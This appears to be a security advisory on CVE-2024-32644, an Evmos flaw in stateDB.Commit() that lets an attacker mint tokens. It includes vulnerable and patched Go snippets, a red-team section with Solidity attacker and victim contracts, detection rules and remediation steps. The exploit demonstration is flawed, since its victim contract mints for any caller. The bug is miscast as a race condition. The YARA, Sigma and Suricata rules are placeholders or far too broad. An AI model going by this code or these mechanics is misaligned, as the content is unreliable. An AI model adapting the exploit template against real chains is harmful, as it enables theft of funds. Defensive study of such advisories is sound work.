CVE-2024-32644

Executive Summary

CVE-2024-32644 is a critical vulnerability in the Evmos blockchain, a scalable, high-throughput Proof-of-Stake EVM blockchain fully compatible with Ethereum. The flaw allows an attacker to mint arbitrary tokens due to a state synchronization inconsistency between the Cosmos SDK state and the EVM state during transaction execution. The root cause lies in the stateDB.Commit() method, which only updates the Cosmos SDK KVStore if the dirtyStorage differs from the originStorage. If a contract's storage state is identical before and after a transaction but is temporarily changed during execution and calls an external contract after the change, the transaction becomes non-atomic, enabling token minting. This vulnerability is critical (CVSS 9.1) and could lead to complete fund drainage through creative smart contract interactions. The issue is patched in Evmos versions >= V17.0.0.

Supply Chain & Package Security

Evmos is a Go-based blockchain project. The vulnerability affects the core consensus and state management logic, not a specific package manager. However, any project integrating Evmos as a dependency (e.g., via go.mod) is at risk. Teams should verify their Evmos version and update to V17.0.0 or later.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and successful exploitation can lead to arbitrary token minting, effectively draining funds from the blockchain.

Deep Dive & Mechanics

The vulnerability exploits a race condition in the state synchronization mechanism between the Cosmos SDK and the EVM. The stateDB.Commit() method is responsible for persisting dirty storage changes to the Cosmos SDK KVStore. It iterates through dirtyStorage and only updates the KVStore if the current value differs from originStorage. This optimization assumes that if a storage slot is unchanged before and after a transaction, no update is needed.

However, an attacker can craft a smart contract that:

1. Modifies a storage slot during the transaction.
2. Calls an external contract (reentrancy) after the modification.
3. The external contract can then observe the modified state and perform actions (e.g., mint tokens) based on it.
4. After the external call returns, the original contract reverts the storage slot to its original value.
5. When stateDB.Commit() runs, it sees that dirtyStorage equals originStorage and skips the update, but the external contract has already acted on the temporary state.

This breaks transaction atomicity, allowing the attacker to mint tokens without proper state persistence. The attack is similar to a reentrancy attack but exploits the state sync layer rather than the EVM itself.

Vulnerable vs. Patched Code

Vulnerable Code (Evmos < V17.0.0): The stateDB.Commit() method in x/evm/statedb/statedb.go (or similar) only updates the KVStore when dirtyStorage != originStorage. This allows the race condition.

func (s *StateDB) Commit() (common.Hash, error) {
    for addr, state := range s.stateObjects {
        for key, value := range state.dirtyStorage {
            if value != state.originStorage[key] {
                // Update KVStore
                s.kvStore.Set(addr.Bytes(), key.Bytes(), value.Bytes())
            }
        }
    }
    // ...
}

Patched Code (Evmos >= V17.0.0): The patched version ensures that all dirty storage changes are committed to the KVStore, regardless of whether they match the origin storage. This prevents the race condition.

func (s *StateDB) Commit() (common.Hash, error) {
    for addr, state := range s.stateObjects {
        for key, value := range state.dirtyStorage {
            // Always update KVStore
            s.kvStore.Set(addr.Bytes(), key.Bytes(), value.Bytes())
        }
    }
    // ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an Evmos node running version < V17.0.0.
• Ability to deploy and execute smart contracts on the Evmos chain.

Exploit Steps:

1. Deploy a malicious smart contract that:
   • Has a storage slot (e.g., uint256 public balance).
   • A function that modifies the slot, calls an external contract, then reverts the slot.
2. Deploy a victim contract that mints tokens based on the storage slot value.
3. Call the malicious contract's function. The external call triggers the victim contract to mint tokens based on the temporary state.
4. After the transaction, the storage slot reverts, but the tokens are already minted.

Example Malicious Contract (Solidity):

pragma solidity ^0.8.0;

contract Malicious {
    uint256 public balance;
    address victim;

    constructor(address _victim) {
        victim = _victim;
    }

    function attack() external {
        balance = 1000; // Temporary change
        (bool success, ) = victim.call(abi.encodeWithSignature("mint(uint256)", balance));
        require(success, "call failed");
        balance = 0; // Revert to original
    }
}

Victim Contract (Solidity):

pragma solidity ^0.8.0;

contract Victim {
    mapping(address => uint256) public balances;

    function mint(uint256 amount) external {
        balances[msg.sender] += amount;
    }
}

Blue Team (Defense)

Detection:

• Monitor for transactions that involve storage slot changes that are reverted within the same transaction.
• Look for patterns of reentrancy calls where the called contract mints tokens.

Prevention:

• Update Evmos to version V17.0.0 or later.
• Implement additional checks in smart contracts to prevent reentrancy (e.g., using OpenZeppelin's ReentrancyGuard).
• Monitor for unusual token minting events.

Indicators of Compromise (IOCs)

• Transaction Hashes: Look for transactions where a contract's storage slot is modified and then reverted within the same transaction.
• Contract Addresses: Malicious contracts that exhibit the described behavior.
• Logs: EVM logs showing token minting events that are not accompanied by corresponding state changes.
• Network Traffic: Unusual RPC calls to Evmos nodes, especially eth_call or eth_sendRawTransaction with suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2024_32644_Evmos_State_Sync {
    meta:
        description = "Detects Evmos state sync vulnerability patterns"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-32644"
    strings:
        $s1 = "dirtyStorage" ascii wide
        $s2 = "originStorage" ascii wide
        $s3 = "stateDB.Commit" ascii wide
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-32644 Evmos State Sync Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-32644 in Evmos nodes
logsource:
    category: application
    product: evmos
detection:
    selection:
        EventID: 1001
        Message: "*stateDB.Commit*"
    condition: selection
falsepositives:
    - Legitimate state sync operations
level: critical

Suricata Rule

alert tcp any any -> any 8545 (msg:"CVE-2024-32644 Evmos State Sync Exploitation"; flow:to_server; content:"eth_sendRawTransaction"; nocase; content:"0x"; distance:0; within:100; reference:cve,2024-32644; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Evmos: Update all Evmos nodes to version V17.0.0 or later.
2. Validate Transactions: Implement additional validation for transactions that involve storage slot changes and external calls.
3. Monitor: Set up monitoring for unusual token minting events and reentrancy patterns.

Long-Term Measures:

1. Code Review: Review the state synchronization logic for similar vulnerabilities.
2. Testing: Add fuzzing and property-based testing for state consistency.
3. Audit: Conduct a security audit of the Evmos codebase, focusing on state management.

Workarounds:

• If upgrading is not immediately possible, consider disabling smart contract deployment or restricting external calls until the patch is applied.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert